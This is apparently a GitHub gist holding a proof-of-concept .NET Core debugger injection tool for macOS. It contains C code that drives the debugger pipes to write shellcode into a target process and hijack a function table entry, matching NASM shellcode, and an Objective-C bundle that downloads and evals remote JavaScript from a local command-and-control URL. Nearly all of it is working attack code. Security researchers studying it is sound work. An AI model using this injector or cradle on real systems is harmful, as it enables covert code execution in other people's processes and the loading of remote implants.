Skip to content

Instantly share code, notes, and snippets.

@xpn
Created September 13, 2020 22:30
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save xpn/ce5e085b0c69d27e6538179e46bcab3c to your computer and use it in GitHub Desktop.
Save xpn/ce5e085b0c69d27e6538179e46bcab3c to your computer and use it in GitHub Desktop.
// Compile with g++ dotnet_injectbundle.cpp -o dotnet_injectbundle
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <mach-o/dyld.h>
#include "main.h"
// libcorclr.dll signature for finding hlpDynamicFuncTable
unsigned char signature[] = "\x66\x48\x0F\x6E\xC0\x66\x0F\x70\xC0\x44\xEB\x1E\x4C\x8B\x6D\xD0";
// Offsets to functions to be populated in shellcode
#define FUNCTIONS_BASE 236
// Location of bundle which is injected into process
#define BUNDLE_PATH "/tmp/warez"
// DFT offset we will patch to gain code exec
#define DFT_OFFSET 0x50
// Load bundle from disk
unsigned char shellcode[] = {
0x80, 0x3d, 0xe4, 0x00, 0x00, 0x00, 0x01, 0x0f, 0x84, 0xd0, 0x00, 0x00,
0x00, 0xc6, 0x05, 0xd7, 0x00, 0x00, 0x00, 0x01, 0x50, 0x53, 0x51, 0x52,
0x55, 0x56, 0x57, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53, 0x41,
0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x10, 0x48,
0x8b, 0x3d, 0xe6, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x05, 0xb7, 0x00, 0x00,
0x00, 0xff, 0xd0, 0x48, 0x89, 0x04, 0x24, 0x48, 0x8d, 0x3d, 0xda, 0x00,
0x00, 0x00, 0xbe, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x05, 0x00, 0x00, 0x02,
0x0f, 0x05, 0x48, 0x8b, 0x34, 0x24, 0x48, 0x89, 0xc7, 0x48, 0x8b, 0x15,
0xb8, 0x00, 0x00, 0x00, 0xb8, 0x03, 0x00, 0x00, 0x02, 0x0f, 0x05, 0x5f,
0x48, 0x83, 0xc4, 0x08, 0x48, 0x83, 0xec, 0x10, 0x48, 0x8d, 0x14, 0x24,
0x48, 0x8b, 0x35, 0x9d, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x05, 0x76, 0x00,
0x00, 0x00, 0xff, 0xd0, 0x48, 0x8b, 0x3c, 0x24, 0x48, 0x8d, 0x35, 0x53,
0x00, 0x00, 0x00, 0xba, 0x02, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x05, 0x65,
0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x83, 0xc4, 0x10, 0x48, 0x8d, 0x35,
0x3a, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc7, 0x48, 0x8b, 0x05, 0x56, 0x00,
0x00, 0x00, 0xff, 0xd0, 0x48, 0x89, 0xc7, 0x48, 0x8b, 0x05, 0x52, 0x00,
0x00, 0x00, 0xff, 0xd0, 0xff, 0xd0, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d,
0x41, 0x5c, 0x41, 0x5b, 0x41, 0x5a, 0x41, 0x59, 0x41, 0x58, 0x5f, 0x5e,
0x5d, 0x5a, 0x59, 0x5b, 0x58, 0x48, 0x8b, 0x05, 0x08, 0x00, 0x00, 0x00,
0xff, 0xe0, 0x5f, 0x72, 0x75, 0x6e, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45,
0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x47, 0x47, 0x47, 0x47,
0x47, 0x47, 0x47, 0x47, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
// Headers which we will need to use throughout our session
MessageHeader sSendHeader;
MessageHeader sReceiveHeader;
// Our pipe handles
int wr, rd;
/// Read process memory from our target
bool readMemory(void *addr, int len, unsigned char **output) {
*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}
// Set up the message header
sSendHeader.m_dwId++;
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId;
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId;
sSendHeader.m_eType = MT_ReadMemory;
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr;
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len;
sSendHeader.m_cbDataBlock = 0;
// Write the header
if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) {
return false;
}
// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
memset(*output, 0, len);
// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}
return true;
}
/// Write to our target process memory
bool writeMemory(void *addr, int len, unsigned char *input) {
// Set up the message header
sSendHeader.m_dwId++;
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId;
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId;
sSendHeader.m_eType = MT_WriteMemory;
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr;
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len;
sSendHeader.m_cbDataBlock = len;
// Write the header
if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) {
return false;
}
// Write the data
if (write(wr, input, len) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) {
return false;
}
// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
return true;
}
/// Create a new debugger session
bool createSession(void) {
SessionRequestData sDataBlock;
// Set up our session request header
sSendHeader.m_eType = MT_SessionRequest;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
// Set a random value for the UUID
for(int i=0; i < sizeof(sDataBlock.m_sSessionID); i++) {
*((char *)&sDataBlock.m_sSessionID + i) = (char)rand();
}
// Send our header
if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) {
return false;
}
// Send our UUID
if (write(wr, &sDataBlock, sizeof(SessionRequestData)) < 0) {
return false;
}
// Read the response
if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) {
return false;
}
return true;
}
/// Returns the DCB from the target
bool getDCB(struct DebuggerIPCControlBlockTransport *dcb) {
// Set up our header
sSendHeader.m_dwId++;
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId;
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId;
sSendHeader.m_eType = MT_GetDCB;
sSendHeader.m_cbDataBlock = 0;
if (write(wr, &sSendHeader, sizeof(MessageHeader)) < 0) {
return false;
}
if (read(rd, &sReceiveHeader, sizeof(MessageHeader)) < 0) {
return false;
}
if (read(rd, dcb, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}
return true;
}
/// Hunts through memory searching for the provided signature
int findMemorySignature(void *base, unsigned char *signature, int len) {
unsigned char *output;
int offset = 0xc1000; //0;
while(true) {
if (readMemory((char *)base + offset, len, &output) == false) {
// If we hit a memory access violation, we probably went too far
return -1;
}
if (memcmp(output, signature, len) == 0) {
return offset;
}
free(output);
offset++;
}
return -1;
}
/// Runs vmmap and finds a RWX page of memory (god damn Apple.. look what you make us do!)
unsigned long long runVMMAP(const char *processName) {
int link[2];
pid_t pid;
char *output;
int nbytes = 1, r = 0;
char *needle;
output = (char *)malloc(0x10000);
if (pipe(link)==-1)
exit(2);
if ((pid = fork()) == -1)
exit(2);
if(pid == 0) {
dup2 (link[1], STDOUT_FILENO);
close(link[0]);
close(link[1]);
execl("/usr/bin/vmmap", "vmmap", processName, (char *)0);
exit(2);
}
close(link[1]);
while(nbytes != 0) {
nbytes = read(link[0], output + r, 0x10000);
if (nbytes == 0x10000) {
break;
}
r += nbytes;
}
wait(NULL);
// Search for our RWX memory region
if ((needle = strstr(output, "rwx/rwx")) == NULL) {
return 0;
}
// Now we need to search backwards for the start of the line (GOD DAMN APPLE!!)
while(*needle != '\n') {
needle--;
}
// Now we find and extract the address at the end of the region
while(*needle != '-') {
needle++;
}
needle++;
// Now NULL terminate the address
*(needle + 0x10) = '\0';
return strtoull(needle, NULL, 16);
}
/// Updates the functions and provides config to shellcode
void updateShellcode(const char *path, unsigned long long bundleLen, void* retAddr) {
// Address to return to
*(void **)(shellcode + FUNCTIONS_BASE + 0) = retAddr;
// Functions to be patched into shellcode
*(void **)(shellcode + FUNCTIONS_BASE + 8) = (void*)&malloc;
*(void **)(shellcode + FUNCTIONS_BASE + 16) = (void*)&NSCreateObjectFileImageFromMemory;
*(void **)(shellcode + FUNCTIONS_BASE + 24) = (void*)&NSLinkModule;
*(void **)(shellcode + FUNCTIONS_BASE + 32) = (void*)&NSLookupSymbolInModule;
*(void **)(shellcode + FUNCTIONS_BASE + 40) = (void*)&NSAddressOfSymbol;
// Bundle Len
*(unsigned long long *)(shellcode + FUNCTIONS_BASE + 48) = bundleLen;
// Path from where we load our bundle
strncpy((char*)shellcode + FUNCTIONS_BASE + 56, path, 0x20);
}
int main(int argc, char **argv) {
struct DebuggerIPCControlBlockTransport dcb;
unsigned char *output;
unsigned char *dft;
int offset;
int dftOffset;
int bundlefd;
int bundleSize;
unsigned long long rwxPageAddr;
printf("Dotnet Core Debugger Bundle Injection POC by @_xpn_\n\n");
if (argc != 4) {
printf("Usage: %s in-pipe out-pipe process-name\n", argv[0]);
printf("Example: %s \"$TMPDIR/clr-debug-pipe-73013-1600035359-in\" \"$TMRDIR/clr-debug-pipe-73013-1600035359-out\" Fiddler.WebUi\n", argv[0]);
return 10;
}
wr = open(argv[1], O_WRONLY);
rd = open(argv[2], O_RDONLY);
if (rd < 0 || wr < 0) {
printf("[x] Could not open provided named pipes\n");
return 1;
}
// Open bundle to retrieve size to pass to shellcode
bundlefd = open(BUNDLE_PATH, O_RDONLY);
if (bundlefd < 0) {
printf("[x] Could not find bundle to injection [%s]\n", BUNDLE_PATH);
return 1;
}
bundleSize = lseek(bundlefd, 0, SEEK_END);
close(bundlefd);
// Create debugger session
printf("[*] Creating a session with the target\n");
if (!createSession()) {
printf("[x] Error: Could not create debugger session\n");
return 1;
}
// Retrieve the DCB
printf("[*] Retrieving a copy of the target DCB\n");
if (!getDCB(&dcb)) {
printf("[x] Error: Could not request DCB\n");
return 2;
}
// Search for DFT signature in memory
printf("[*] Base address of m_helperRemoteStartAddr: %p\n[*] Hunting for signature in target memory\n", dcb.m_helperRemoteStartAddr);
if ((offset = findMemorySignature(dcb.m_helperRemoteStartAddr, signature, 16)) == -1) {
printf("[x] Error: Could not find memory signature\n");
return 3;
}
// Read the offset to the address table
if (!readMemory((char *)dcb.m_helperRemoteStartAddr + offset + 0x17, 4, &output)) {
printf("[x] Error: Could not read Dynamic Function Table from target\n");
return 4;
}
dftOffset = *(int *)(output) + 0x7;
printf("[*] Dynamic Function Table found at %p\n", (char *)dcb.m_helperRemoteStartAddr + offset + 0x14 + dftOffset);
if (!readMemory((char *)dcb.m_helperRemoteStartAddr + offset + 0x14 + dftOffset, 0x200, (unsigned char **)&dft)) {
printf("[x] Error: Could not read Dynamic Function Table\n");
return 4;
}
printf("[*] Dynamic Function Table read\n");
printf("[*] Patching shellcode with function addresses\n");
updateShellcode(BUNDLE_PATH, bundleSize, (void*)*(unsigned long long *)((char *)dft + DFT_OFFSET));
// Update our shellcode to patch in bundle function paths
rwxPageAddr = runVMMAP(argv[3]);
rwxPageAddr -= sizeof(shellcode);
printf("[*] Found RWX page of memory, writing our shellcode to %p\n", rwxPageAddr);
if (writeMemory((void*)rwxPageAddr, sizeof(shellcode), (unsigned char *)shellcode) == false) {
printf("[x] Error: Could not write our shellcode to RWX memory 1\n");
return 4;
}
printf("[*] Overwriting the Dynamic Function Table entry... injection complete\n");
if (!writeMemory((char *)dcb.m_helperRemoteStartAddr + offset + 0x14 + dftOffset + DFT_OFFSET, 0x8, (unsigned char *)&rwxPageAddr)) {
printf("[x] Error: Could not write to the function table\n");
return 5;
}
}
// Compile with gcc jxacradle.m -bundle -o /tmp/warez -framework osakit -framework foundation
#include <stdio.h>
#include <pthread.h>
#import <Foundation/Foundation.h>
#import <OSAKit/OSAKit.h>
void threadStart(void* param) {
OSAScript *scriptNAME= [[OSAScript alloc] initWithSource:@"eval(ObjC.unwrap( $.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://127.0.0.1:8111/apfell-4.js')), $.NSUTF8StringEncoding)));" language:[OSALanguage languageForName:@"JavaScript"] ];
NSDictionary * errorDict = nil;
NSAppleEventDescriptor * returnDescriptor = [scriptNAME executeAndReturnError: &errorDict];
}
int run(void) {
#ifdef STEAL_THREAD
threadStart(NULL);
#else
pthread_t thread;
pthread_create(&thread, NULL, &threadStart, NULL);
#endif
}
typedef unsigned int DWORD;
typedef unsigned char BYTE;
typedef unsigned char * PBYTE;
typedef DWORD HRESULT;
typedef unsigned short USHORT;
typedef unsigned int ULONG;
typedef unsigned char UCHAR;
typedef bool BOOL;
static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;
#define CorDBIPC_BUFFER_SIZE 4016
#define MSLAYOUT __attribute__((__ms_struct__))
enum IPCEventType
{
IPCET_OldStyle,
IPCET_DebugEvent,
IPCET_Max,
};
typedef struct _GUID {
ULONG Data1; // NOTE: diff from Win32, for LP64
USHORT Data2;
USHORT Data3;
UCHAR Data4[ 8 ];
} GUID;
enum MessageType
{
// Session management operations. These must come first and MT_SessionClose must be last in the group.
MT_SessionRequest, // RS -> LS : Request a new session be formed (optionally pass encrypted data key)
MT_SessionAccept, // LS -> RS : Accept new session
MT_SessionReject, // LS -> RS : Reject new session, give reason
MT_SessionResync, // RS <-> LS : Resync broken connection by informing other side which messages must be resent
MT_SessionClose, // RS -> LS : Gracefully terminate a session
// Debugger events.
MT_Event, // RS <-> LS : A debugger event is being sent as the data block of the message
// Misc management operations.
MT_ReadMemory, // RS <-> LS : RS wants to read LS memory block (or LS is replying to such a request)
MT_WriteMemory, // RS <-> LS : RS wants to write LS memory block (or LS is replying to such a request)
MT_VirtualUnwind, // RS <-> LS : RS wants to LS unwind a stack frame (or LS is replying to such a request)
MT_GetDCB, // RS <-> LS : RS wants to read LS DCB (or LS is replying to such a request)
MT_SetDCB, // RS <-> LS : RS wants to write LS DCB (or LS is replying to such a request)
MT_GetAppDomainCB, // RS <-> LS : RS wants to read LS AppDomainCB (or LS is replying to such a request)
};
enum RejectReason
{
RR_IncompatibleVersion, // LS doesn't support the major version asked for in the request.
RR_AlreadyAttached, // LS already has another session open (LS only supports one session at a time)
};
struct MessageHeader
{
MessageType m_eType; // Type of message this is
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero)
DWORD m_dwId; // Message ID assigned by the sender of this message
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB)
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and
// never read)
// The rest of the header varies depending on the message type (keep the maximum size of this union
// small since all messages will pay the overhead, large message type specific data should go in the
// following data block).
union
{
// Used by MT_SessionRequest / MT_SessionAccept.
struct
{
DWORD m_dwMajorVersion; // Protocol version requested/accepted
DWORD m_dwMinorVersion;
} VersionInfo;
// Used by MT_SessionReject.
struct
{
RejectReason m_eReason; // Reason for rejection.
DWORD m_dwMajorVersion; // Highest protocol version the LS supports
DWORD m_dwMinorVersion;
} SessionReject;
// Used by MT_ReadMemory and MT_WriteMemory.
struct
{
PBYTE m_pbLeftSideBuffer; // Address of memory to read/write on the LS
DWORD m_cbLeftSideBuffer; // Size in bytes of memory to read/write
HRESULT m_hrResult; // Result from LS (access can fail due to unmapped memory etc.)
} MemoryAccess;
// Used by MT_Event.
struct
{
IPCEventType m_eIPCEventType; // multiplexing type of this IPC event
DWORD m_eType; // Event type (useful for debugging)
} Event;
} TypeSpecificData;
BYTE m_sMustBeZero[8]; // Set this to zero when initializing and never read the contents
};
struct SessionRequestData
{
GUID m_sSessionID; // Unique session ID. Treated as byte blob so no endian-ness
};
typedef unsigned int SIZE_T;
typedef unsigned int RemoteHANDLE;
struct MSLAYOUT DebuggerIPCRuntimeOffsets
{
#ifdef FEATURE_INTEROP_DEBUGGING
void *m_genericHijackFuncAddr;
void *m_signalHijackStartedBPAddr;
void *m_excepForRuntimeHandoffStartBPAddr;
void *m_excepForRuntimeHandoffCompleteBPAddr;
void *m_signalHijackCompleteBPAddr;
void *m_excepNotForRuntimeBPAddr;
void *m_notifyRSOfSyncCompleteBPAddr;
void *m_raiseExceptionAddr; // The address of kernel32!RaiseException in the debuggee
DWORD m_debuggerWordTLSIndex; // The TLS slot for the debugger word used in the debugger hijack functions
#endif // FEATURE_INTEROP_DEBUGGING
SIZE_T m_TLSIndex; // The TLS index of the thread-local storage for coreclr.dll
SIZE_T m_TLSEEThreadOffset; // TLS Offset of the Thread pointer.
SIZE_T m_TLSIsSpecialOffset; // TLS Offset of the "IsSpecial" status for a thread.
SIZE_T m_TLSCantStopOffset; // TLS Offset of the Can't-Stop count.
SIZE_T m_EEThreadStateOffset; // Offset of m_state in a Thread
SIZE_T m_EEThreadStateNCOffset; // Offset of m_stateNC in a Thread
SIZE_T m_EEThreadPGCDisabledOffset; // Offset of the bit for whether PGC is disabled or not in a Thread
DWORD m_EEThreadPGCDisabledValue; // Value at m_EEThreadPGCDisabledOffset that equals "PGC disabled".
SIZE_T m_EEThreadFrameOffset; // Offset of the Frame ptr in a Thread
SIZE_T m_EEThreadMaxNeededSize; // Max memory to read to get what we need out of a Thread object
DWORD m_EEThreadSteppingStateMask; // Mask for Thread::TSNC_DebuggerIsStepping
DWORD m_EEMaxFrameValue; // The max Frame value
SIZE_T m_EEThreadDebuggerFilterContextOffset; // Offset of debugger's filter context within a Thread Object.
SIZE_T m_EEFrameNextOffset; // Offset of the next ptr in a Frame
DWORD m_EEIsManagedExceptionStateMask; // Mask for Thread::TSNC_DebuggerIsManagedException
void *m_pPatches; // Addr of patch table
BOOL *m_pPatchTableValid; // Addr of g_patchTableValid
SIZE_T m_offRgData; // Offset of m_pcEntries
SIZE_T m_offCData; // Offset of count of m_pcEntries
SIZE_T m_cbPatch; // Size per patch entry
SIZE_T m_offAddr; // Offset within patch of target addr
SIZE_T m_offOpcode; // Offset within patch of target opcode
SIZE_T m_cbOpcode; // Max size of opcode
SIZE_T m_offTraceType; // Offset of the trace.type within a patch
DWORD m_traceTypeUnmanaged; // TRACE_UNMANAGED
};
// DCB
struct MSLAYOUT DebuggerIPCControlBlock
{
// Version data should be first in the control block to ensure that we can read it even if the control block
// changes.
SIZE_T m_DCBSize; // note this field is used as a semaphore to indicate the DCB is initialized
ULONG m_verMajor; // CLR build number for the Left Side.
ULONG m_verMinor; // CLR build number for the Left Side.
// This next stuff fits in a DWORD.
bool m_checkedBuild; // CLR build type for the Left Side.
// using the first padding byte to indicate if hosted in fiber mode.
// We actually just need one bit. So if needed, can turn this to a bit.
// BYTE padding1;
bool m_bHostingInFiber;
BYTE padding2;
BYTE padding3;
ULONG m_leftSideProtocolCurrent; // Current protocol version for the Left Side.
ULONG m_leftSideProtocolMinSupported; // Minimum protocol the Left Side can support.
ULONG m_rightSideProtocolCurrent; // Current protocol version for the Right Side.
ULONG m_rightSideProtocolMinSupported; // Minimum protocol the Right Side requires.
HRESULT m_errorHR;
unsigned int m_errorCode;
// 64-bit needs this padding to make the handles after this aligned.
// But x86 can't have this padding b/c it breaks binary compatibility between v1.1 and v2.0.
ULONG padding4;
RemoteHANDLE m_rightSideEventAvailable;
RemoteHANDLE m_rightSideEventRead;
// @dbgtodo inspection - this is where LSEA and LSER used to be. We need to the padding to maintain binary compatibility.
// Eventually, we expect to remove this whole block.
RemoteHANDLE m_paddingObsoleteLSEA;
RemoteHANDLE m_paddingObsoleteLSER;
RemoteHANDLE m_rightSideProcessHandle;
//.............................................................................
// Everything above this point must have the exact same binary layout as v1.1.
// See protocol details below.
//.............................................................................
RemoteHANDLE m_leftSideUnmanagedWaitEvent;
// This is set immediately when the helper thread is created.
// This will be set even if there's a temporary helper thread or if the real helper
// thread is not yet pumping (eg, blocked on a loader lock).
DWORD m_realHelperThreadId;
// This is only published once the helper thread starts running in its main loop.
// Thus we can use this field to see if the real helper thread is actually pumping.
DWORD m_helperThreadId;
// This is non-zero if the LS has a temporary helper thread.
DWORD m_temporaryHelperThreadId;
// ID of the Helper's canary thread.
DWORD m_CanaryThreadId;
DebuggerIPCRuntimeOffsets *m_pRuntimeOffsets;
void *m_helperThreadStartAddr;
void *m_helperRemoteStartAddr;
DWORD *m_specialThreadList;
BYTE m_receiveBuffer[CorDBIPC_BUFFER_SIZE];
BYTE m_sendBuffer[CorDBIPC_BUFFER_SIZE];
DWORD m_specialThreadListLength;
bool m_shutdownBegun;
bool m_rightSideIsWin32Debugger; // RS status
bool m_specialThreadListDirty;
bool m_rightSideShouldCreateHelperThread;
};
struct MSLAYOUT DebuggerIPCControlBlockTransport
{
// Version data should be first in the control block to ensure that we can read it even if the control block
// changes.
SIZE_T m_DCBSize; // note this field is used as a semaphore to indicate the DCB is initialized
ULONG m_verMajor; // CLR build number for the Left Side.
ULONG m_verMinor; // CLR build number for the Left Side.
// This next stuff fits in a DWORD.
bool m_checkedBuild; // CLR build type for the Left Side.
// using the first padding byte to indicate if hosted in fiber mode.
// We actually just need one bit. So if needed, can turn this to a bit.
// BYTE padding1;
bool m_bHostingInFiber;
BYTE padding2;
BYTE padding3;
ULONG m_leftSideProtocolCurrent; // Current protocol version for the Left Side.
ULONG m_leftSideProtocolMinSupported; // Minimum protocol the Left Side can support.
ULONG m_rightSideProtocolCurrent; // Current protocol version for the Right Side.
ULONG m_rightSideProtocolMinSupported; // Minimum protocol the Right Side requires.
HRESULT m_errorHR;
unsigned int m_errorCode;
// 64-bit needs this padding to make the handles after this aligned.
// But x86 can't have this padding b/c it breaks binary compatibility between v1.1 and v2.0.
ULONG padding4;
// This is set immediately when the helper thread is created.
// This will be set even if there's a temporary helper thread or if the real helper
// thread is not yet pumping (eg, blocked on a loader lock).
DWORD m_realHelperThreadId;
// This is only published once the helper thread starts running in its main loop.
// Thus we can use this field to see if the real helper thread is actually pumping.
DWORD m_helperThreadId;
// This is non-zero if the LS has a temporary helper thread.
DWORD m_temporaryHelperThreadId;
// ID of the Helper's canary thread.
DWORD m_CanaryThreadId;
DebuggerIPCRuntimeOffsets *m_pRuntimeOffsets;
void *m_helperThreadStartAddr;
void *m_helperRemoteStartAddr;
DWORD *m_specialThreadList;
DWORD m_specialThreadListLength;
bool m_shutdownBegun;
bool m_rightSideIsWin32Debugger; // RS status
bool m_specialThreadListDirty;
bool m_rightSideShouldCreateHelperThread;
};
[BITS 64]
; Compile with "nasm shellcode-jxa.asm -o shellcode-jxa.bin -fbin"
; Convert to C with "xxd -i ./shellcode-jxa.bin"
NSLINKMODULE_OPTION_PRIVATE equ 0x2
global _main
section .text
_main:
_start:
cmp byte [rel already_run], 1
je skip
mov byte [rel already_run], 1
; Store registers for later restore
push rax
push rbx
push rcx
push rdx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
sub rsp, 16
; call malloc
mov rdi, [rel BundleLen]
mov rax, [rel malloc]
call rax
mov qword [rsp], rax
; open the bundle
lea rdi, [rel BundlePath]
mov rsi, 0
mov rax, 0x2000005
syscall
; read the rest of the bundle into alloc memory
mov rsi, qword [rsp]
mov rdi, rax
mov rdx, [rel BundleLen]
mov rax, 0x2000003
syscall
pop rdi
add rsp, 8
; Then we need to start loading our bundle
sub rsp, 16
lea rdx, [rsp]
mov rsi, [rel BundleLen]
;lea rdi, [rel BundleData]
mov rax, [rel NSCreateObjectFileImageFromMemory]
call rax
mov rdi, qword [rsp]
lea rsi, [rel symbol]
mov rdx, NSLINKMODULE_OPTION_PRIVATE
mov rax, [rel NSLinkModule]
call rax
add rsp, 16
lea rsi, [rel symbol]
mov rdi, rax
mov rax, [rel NSLookupSymbolInModule]
call rax
mov rdi, rax
mov rax, [rel NSAddressOfSymbol]
call rax
; Call our exported bundle function
call rax
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
pop rdx
pop rcx
pop rbx
pop rax
; Return execution
skip:
mov rax, [rel retaddr]
jmp rax
symbol: db '_run',0x0
already_run: db 0
retaddr: dq 0x4141414141414141
malloc: dq 0x4242424242424242
NSCreateObjectFileImageFromMemory: dq 0x4343434343434343
NSLinkModule: dq 0x4444444444444444
NSLookupSymbolInModule: dq 0x4545454545454545
NSAddressOfSymbol: dq 0x4646464646464646
BundleLen: dq 0x4747474747474747
; Path to bundle to be loaded
BundlePath: resb 0x20
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment